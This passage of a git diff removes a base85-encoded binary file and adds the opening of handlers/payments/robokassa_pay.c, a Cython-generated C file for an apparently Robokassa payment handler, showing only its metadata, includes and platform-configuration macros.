zNN9E3yUu5m54QOn^uf%!YwO}@#N`O=;YuyfrI^EbDo8uRBE3zKo?DkP<0D6Ov`cvps~etZXrupYmX=dh=4o$G1s-0AY=Bl@@{kju zfRSHNlZTBL9_S`82M1bWP;&5&ZVbspA>7f6C*au{Lf9hV0m%v>+{D8p(l}!j!u>la zCOIyoIl6V@We2nDc`N&V12Z}sNJ#Kd6N%ji) z8q@5S*|8m%XOBZ}kKAZ~FMjMP?Orj)n?l$>+C3#H6T*E_c8^HxP8DKSI9lE25Y=T42-3*-p5Kx%j^45>AiNqH#52Suj4>=<7O;r%G4D)Kykh!ED|bj{81?I2E({v0<(V<_@a96Uj;+>61FY~o?1{6UcRZ2fHDAeyHJV>5%a!CwLVS>0a}&#J zQz5*{pymn^y=VvGF|OJyWiTa#Z5PMqR=0T~<|qDMD09hR2rE%P!CN3dL04%K6R@Fb zK3fJW;e$AKwYtr#HUE?lUYJpJDMMI^`k=Q!K4{`bEg#}BwaOyqv6YzL$m%w~(FzIS zh4d<;8Ny1`2fYRILGNwT9@G$%u?k!r*$W%})*Xtf#>VE}8@=A|ee>_``UJ~w`)u_# z9nA2tt^Tp)*8#TrUpt!VGdunLPUc^y+3BlwG5`9?PM^`${OcZDeaCL*Uk`n!_Zx2h zb%ve3=?L?$ZShVgB#``&T($3N{bkRQ7iyu(PRVqrG2C zi$G5cud&k%c3Jom3oo+p?=0Mr4^ZOiU=f^R;h$J|iG_b>KIh72m4$!0$1Hf)!mBd( z)p+)rxfXwbg>SWRFH8K*EWF6VYg+h67H(5u2JROAyM_Bz;yD(cYT=$1`IQ#_sfCAH z_(2QLvhbdk^cP!r$v(5-e=PEL_U8BcVZRv!TDXsePq%O_{stC)xDxMT;Wh`%5m<_k z&CeG8sfAk#n+*qc=I?9a(U#{fweS)PKX2jtE&T97Gq9978*kXy*xHzEY}!(QKXj@; zKU%n-g{N9L*NfHXetO6Zw0Mj*OwNaYT>CC`OV}?dJbFS`JaVXWkpi*r(dOb zdRqAOO7SctSIhYka|B9#Q+}RVt(^;aBvqBiYY^n2V3gPJ5CW*YLy~zg z!y+crNoE3hG)abGV5L&&t|ZNLcQswzGt(|;d@hKO!A}Kztm6wG9}7`;T~u77usbMz z8dq0F!8Hngf-iy~0t>R|-1|RO)pz=Km|5!kW~%B}=bn4-x$kqUE8xygHIQ~hyYtEp zQ8x_v&x5x^J_UXk_zd_I_^-hi!E@mIy-e#LzfS|E+ELy&(xcr+G(Zvt=Kt-%pg zzxlWoybBHSHE3Y_ybOSnW1M;Ji0BahPSO9c!p@uY$@wUF`VkF24L%F* z{7wTY-@CwD!LNk;1K>Nr>BHjccm`ZX*AtQcQx4Plm7(@(@E-6Tf6?Jly__lVGz{}D z#QQPu`NuWb3Qm9bQ`NW9pENiZ`u_kPjq8v<_!U|{8st~&2WJys=CnAg9@7PdX5pL< zo_=o&)bP^t_T1#&&zJk+0*x9mrGl zP)9rXil?=HG%x3T@LA+n<_{ae(|^$NM?p^rJ`a8*_zv)o8|nYJ=r`oQF8WbkludQ~ z2>cY-N9w}@c>6ZQwITJ?Q~I3-*zC)8H-O$0MD8 z55D-6PS3I6)8G$+>!*%W0pATS^>zmQ9&kzjd%*7i7yH}ocY=?DpAJ1YfRBPpdOi+*vBAFpK5TIM;{~c5cOd=L ztkf|FJ`R2g_`Tq-2bX^7r{K%cPNhEo2K)~4u<&sR^gIsUVzkGX9In&Tg8t_S$e$=2 z{l?MY7l0pR=otb(%;-1X2!4~%FI@@Vg??Moc{O+m>7iS7+z9@8BVV5tJ!nT4LH>5| zcG&+!@Na<6Aw2>3F7O%XKN+0<46Q1!R`7ms`b)RE-$Q<7{_q(1PVfQ9KQA11D}o7iK!RL+i{|tPGF-|=R-VQrRJ3WX7KDOIxqh1{ez7z5XBb~1U-(m1` z!8;5+J>YLK(mx8mXp~C^{B&bJPypX<=(!sFDuZ7y^02?Oi<`mQVK?bFXx~oR;WVUQ z^7~EjQ;qcO0?!-e``@A;_Lunv{WWi;zZLnF^c+9}Z2$AnFUdI70{%s$N9H-lgSQ*= zsCMviqdxS3J4Sx50N(<;N&PH=~__$Hu9s)nch?oBEwo1>XM!TS;pyDl% zmwJ9E_{E0&@!&JCo5-IHzQdSr_klZx{!#F!(Em&SHV%G|QH~|>k`eD)!5=sDybt^` z!#*DapELB|3jQZU&)2{g4Ex^;zKHxvzwsdWPL!j}d!GUyH`0GFIbOIvUuf8QIe5z8 zr-FY9_LP2L1^6RI`n$mIF!GxQKi|;rf{z(?D}e7X+V2eb0^*hW@LupCL(fOS+l}$@ ztKc(+{_lcsF!bC9K5y9nQSh{3XNNi>w(~ke&tc#tBi@t1XAQe`fVUZT>jIxQ>@Wzv z%P5!2z|S|*GY!7l;9Et%Q4g;LZ#U#W48DkQhlYD~d>Q;yBmLh7Z!!AS-QeSfeSQz# zYUrVTFJMr$)iFw3`9&Yq_aBCT=1OqcVL1tW z20Yqsfu5Ve(~oIDKfF=LZQu)k*7r0_tK&bxoyYb4Joq0){s|3k1wV=w)SS-JlNulz zXRYwRYJNH7N5JR7KLj3%{8JjtfWHTP(crg;{L}UFcZXz?h^e+AzpoQo(7*?t^s{sLLDd2f=kt_S8M)b=ve`tZq;1Iok8$% z@XH}T0X}zfz5LbS^WZ;3`ssThD&C!^XnA^NKpl60%O>W_z<&Wg^I8ph5ik7_U8QIK zRL$2y|FNx_x16T=evt14Z#_eEiPr^}3i4aXSHTzCw7l41hsd9!`E&Z@d`5VO1~Ptq z8@vU49UN^Bfse1%@}G3{@r=lyr@6#?E;lS#_L7ocB%U;BS}t!&=D8PVndo zEkCT}mpcpa+wWYac@DgFt*(H=-zM^?n8J4|evC6~`1!x0c#G45iZA}IU7~+Oz5c^b z=JYRjX8P*+72pd!_591=U8#D$>=dnMXLmin7~JWq=Q|ZY#oh;{b!cB3wEP?P*L*X0`dgY`+Nt?<;4Ooi zAEmS5>;f;%XukV2E&n8Vd%9l#ndE5YeC^nz`2&!@47@Z}um1+{^cOUL4g>ACz}wS0 zUvF;L@jgME>s!|wbONU}cJ`-uR6Sg!c^CMr!RNr!;H$w~S8I8=Yn@?{KTq>k$WMch zqaDqF&w$VHhCUtlfPWNx0eW_Ve?{ak(DHNO^NJtiEEx6be;_}H{K5>*6NrF?)m*AwS12;%fX@OFcL4!mS=dM}yMd5p6YcGI=UalWhg5zfPBX*)|S zi_kM`=y_JjAMPv|^0xFJM-G8y^ozQOj;+_v@ifZs=_J3O^9pD7E^SXq&pArZa%T?x zx$yH9Khjw=($h=aabD@n!|x>WmqL%&L3md2qn(G(sZZydi0{YV>n@Sh=NaNM1|^?- z$ihEo;a|4!ISc%bDGR^W!arf*w_5le7JjdV|J=fV zXW`FS_~C7h?RlbwcUX9zg^ybJl@@+AaoW1tC>PM z+x62Heh5uGq^y&bWx0i)Zs8YM_@x$pm4&~>!arc)J`Hs($%Nzjvle;!f_uYqzsDl~ zGYkKXg+F28`*$=>=g}6v%EEhzw>HS{m_>fv!na%ayDj{mh&O64vljU~E&K--{!0u0 zlZEe3>zkGab~wSpS6cXhg}>3l0}FqLg}>jz|JlOtwD9j+`280Ctc4#!{)R?&JKn<2 zB>qbFV_+VR<)*XQBA>PJt1bLm3;&>n-(unPwVQ_d`jLhI!onZ1aA##>{YP5(Nfy4^ z!q;2)goVG;!f&+jTP*w=7XCvEf6&5@xAenLS>z8~)!3fLS@>BN{(1|)(84dX@F@#_ zyM=#{c%y#!Hj6xci>hJ${IP{UWZ{3Y@K>#Ftp7v{Zzq0ogZ}d(i~ME_pS19;7XEGv z|CEK_Vd3)@?o8z-D{UFabxXDFZl&Z_%HCGL9Qy8>X|I^g)1|wnJ@G# zC{E_e1s%nUWP+9MWUlDtb8qrrRJE(zt)w*TReU#-&r!ir;^>#G(s%GgtW#l5QP<%?b+imv|YR6dyS@?qnknS2md%a)MI zEW|pcHj_fG-xImer`pQ0ZZL5rT}M$#wsr1`fm`&qNiyV_+b9Ed5A8Ygip8Mfu^FN$ z<7BelY%WtVBh-m0``K#7cm3`1I1YFTWg#eMynNmrMjojRQ_}aY`C4lP8*Q@e`LFw8z@VoG+x8C zihBM*zcL+UF*c-Y{e@CMQ?c%Bb}-0R^Ztl$8HpQ@Rb{_aj&u#HG1BE&WbCOM?k3B6 zBR}Knh?0R6#rZ;sd_2C#k9n}&vaR`Z^Qq)o$D8%ZAc5qL z=D{^LEcqF?61W9rb4o6ogeogUU&NtvUzIL7gzQsNm+GJQN$Csf^7ct{vwmft6gF6&izZo^JN%_gJjnP?c?j=RIU{vw|4m%K`58uho0Rx@FxR1QiimE49CYADj?0*P7a z&~W$2`cY}VaU)EK^mUJprMd?O+>3fQZyFxy8FdGH$2JW2>|G#8!%qD)TkZ2gTG{TA zk#sG^(|=1QRB=&flq*h+c@y2mY(I4-`kv?QT(DbI=T?nxQv?0ILt}1gxTiM~NsVky zj}4D@4T!BF=_K&W%JR@ciwnU)43l z%LP+3e~D6pdv`J{us5f!A<8rIjO0Ui3u<&S=yau0itmfzwq(5JsW5&Px&^PirJ9fq zYsE}1ph)3*NeE*k&?%mXluWp>1t;7jH=ek$bxF>R?aOz`aPXfXA}{Y1GjRi)Fq$qq z945TX7MGkzUX-YaURCwWarcm!_DPbOW2st+Ww~dd5t02!8J~3}9tB|>bzQoY<0j5I zmC|HxDh`-%!8L@2w~vzV7TnG526r$LugehMOn8aJu+OZnm&|&#xUjP1CQ*JgZNzLY z^d|CgP7+te`Ul0jaP@W8uVkpcWTut5;@-TjCi4Ve$2m#j)A3ys@8K5m>jVWJHp-Fw zl=y+Su%|1=G+`#MTwRUeIfiluQ#r;($J93VBx&RctLQysvKPJQNDZy&va-H_V>3lA3EYr#prwvZm+1!*LCZeH^AaqMXCg5TV+;Y_o zgFFpqm5G2|k5Oz11LV}2Eq+p*Oo-70B*#u*nv%p4Vcc6Jpsy-cTuX8^WsLK2WtbRX z^TE_qqUd>o8Ywbo8}P%&&l@}Dx42kRYSYm6K&+CABp-Nj%1U{!G8vTP-nSGaY*;Gi z61@-2Lnm{IhD39;SW(%}(5mDNup z%E7kiQRo-rWQ4}FE}Zr{SH;6qIPI$?w6;t*9c*(w+FOa^;q_yzxs*?gQ`W5&H4!aW z!fm-q+~(CPJk~_sVQe1MwJ+MXnXK!`2;|}siCP{RJwthlHB~e9_q9;3M|74d$tFQ1>Ic!apPZdjpb$re#9ap$~8KgIoOfgZ6 z)oP+4^3BR9&z5Zxo#SnVT*l3ms%ldpt*sT5`?*S_dA%fqxjRbrq*r|RecVB(f&w)$ z_K84PJ31OJRyG!MYSgie^eR-OEy!R|+7AAa807uEcU zxsz0<(0mx1Or_K69O9?VoI@&fgPj`MNh4oWTP`enk^SN-0M|lPPEx47oXoI+UCCEg zsg{eIsAZ2Pb;=Xxwt>WY zzsPn9%49woU}(>*&Ug)DqcE(%b+5czED8+s#& zsBF1UiAo&ZNq=#aoxQf|o}!J~WVuAPa@CW@7Hs&4{HJ?*o|U9q=f+CZjWHf!8kiwY zgpz2Sh~y*kppO}g6V(%EXj&)p1?}YXx0CZXG1rWn8~5=pk75*EDLE=wAE^3aKIQcn z?a8}!Q>toq&5Dd$%}%b7ML9>bcb;au`*QDf*?p^fovat&0N!hz%{|q7t!@c-`d;g^ zY?pfz8CQ8`{cM{QbAfgzniO+~b;7trz?GI4Zk7mku3FADS*$G)zN1~O;~T#_vsBm> z&EAk%D)8zl8VvVbuPzmAO_OxS(ah(Xh!e%6(;D7z&%4yL!y~+^dOpwd!g&GcT++{4~!@h zoMYfE^gV)D;?NVSdVR*7Tz91sp52m0o=%r+p~G7d$2!6bp6mqw|4^qZ0H#wG&Y!$pzCSxjCQDo`}#(E z$K0{*bpySmkRzmb9%L=Z^Zq{ahuJMkSsL zN4w8FO?BMe*U_7NZwtM* zLgikc*o{TCnc!zB)to1vUgUNA!yev+pj4@L-b0fkn8xkp?Vk}pQ!R&NMP5;Ik~q6C z<)B}n1((k$T~7-^Qk!BIepCRo2B4dGd5cvTJD&D@(}vKx8acw$5>6YQHjtIgDIbv% zTBGJN6cg*>1wNNd90^&vE)rgTZSuh;q)wpRDC#FT8r8(-cV~jmlA=Q%FA4a%Q?5Wuvog z6@<9{$GITu>bF3m7TDiIg1U838p!+wx=+3$fj6j$sufi0bsmz^LTqPkf6mZ4i z0%Vs;H;@0EYVE*^^q|>s3F-#JosP>Pb)TVB2UXpTL{h52X&RC#lnguTs>Wr=4h~KL zWn1+oNDO(kqzqJ=xWOam+K<9vwH9t_QNPUoDtg5$MGFOwUdG_*4>iO-a@_e;sp!`a zRFS91pNqA$OVR0~tm~~QwnV#Unfgu`i5#XMUrgqMZ91i#(NZnSXa_e8PO_w%oMZ0B zVu{L7J9s1Gq8DMMWQE}j^?>9mrd#AxpW@6W-!XD8BKLT418sVdygT62??KEi6a^jE zQ1oF@6&}s=22Q$0Eto0+zfIGZ_h=Km{%t0-Ns8qXGAq9o6Pvw9ZKk3Sdc%yzLk&rC z^@iD_-1diKW%ky=I0Hez+v^Q8JK%5i^E&w?fP5gYQsU&ESG^iX$BLs;W)Dt54KnOP zRqu2~n~Jnb$B$&Bi&8eNuLCI>tfcL5X($oYL5QnPcO7jyBW=<)^_!Tn#Rv6UpRvKZ z!;NEoYe=bTD+oq?Z7(*Pbyd*AEw`=h7P?MK6IJG*YK+d11$bP{ zP0(vSB7;QqhojYrOx~m2Dy^x`lM9Bigojc+dP{;~DULw3QT8AA@_QnvO-g%(XF72v zb>(Eu)ViV>46ES2N0O(y>J-2IkO&%EM&<_5P>vGNGb+n`s;(nconf4+R8Y*Q*<)Nd zY%+>G75xN9<(3MaJ3lolCN>we&sz^GgUL~ajfPyhZf3g|{VXZ!neEn0qdJCmWViH01b7N7@26WMFEKbl*O|k<)#>WBGOi$8 zp+s6ulvOsJwy;*9nn&kKS)Zrnihhjaw@nqRZTylWZN%1`wg{=WUCyRmK_$Su|4v)B zRwQNmOeR%N_;+&LX(ex5dRF%H9tXfxiMEs5)MUSnF59MPbW|7gQzWNNZI!n1GKHiA ze&NJv^QW;ena+|nxzjrI3dK<& z|Kw{ypT~uqTMeZL8Ta(LjJojmAiSLEb7ggh{9apNH(fmW{PTgtkI$dVXObQIT#Py- zoEiT`^z>!)Pr|q2^Fwl`Pa&y;KV!Cx{z-WHJgz!M>3}!{`hlHobiuks-*WoiAs=#{ zIb7dM{AT{&N{{*3IxXhhM8DJLL(Zom|15Jf{WHT~PmHtpQu?QkuKF|AujC==5cV#* zNQQ6i(of_(!<92}$hQLId;>j8hTpkf3(HyLM1|bT`6EX7S%jCf{Cz1~_)i<*HbsXI*j-Hz~4Ec3X+d7i#EmONUMH+21P^pEW);pKZ@ zaz5XP(71K}!wBE za1DJ&A$hbWZ|Hh|ik#zbH@Jj9)8H)2hn)E{w{oqY=>P9U{P^5$^vIMw-V*+Pd?)eA z9a3^yg&Ced|7tRp{L%Ndg-;SgBL$}HYD@S(|3nA;)pcUo#_{uKIa#M^zaL-mauwi{ z*C1k?Bz`&bXEYmyuRNf`A6OrKlvfG=Mue}A#c}@Ompc5>U#oBN5>Dg`mhd0oKd?kc z_cujSpUv=mFMUr^a`#3(0B@l0pYZV-`u7eJmg11{`(WZm7FpbBy-tUJfWFI+Jk0nx Sm5stb`z;;*8Y6&l>--;$I0tzE literal 0 HcmV?d00001 diff --git a/handlers/payments/robokassa_pay.c b/handlers/payments/robokassa_pay.c new file mode 100644 index 00000000..ad6dc3d3 --- /dev/null +++ b/handlers/payments/robokassa_pay.c @@ -0,0 +1,20441 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.robokassa_pay", + "sources": [ + "handlers/payments/robokassa_pay.py" + ] + }, + "module_name": "handlers.payments.robokassa_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 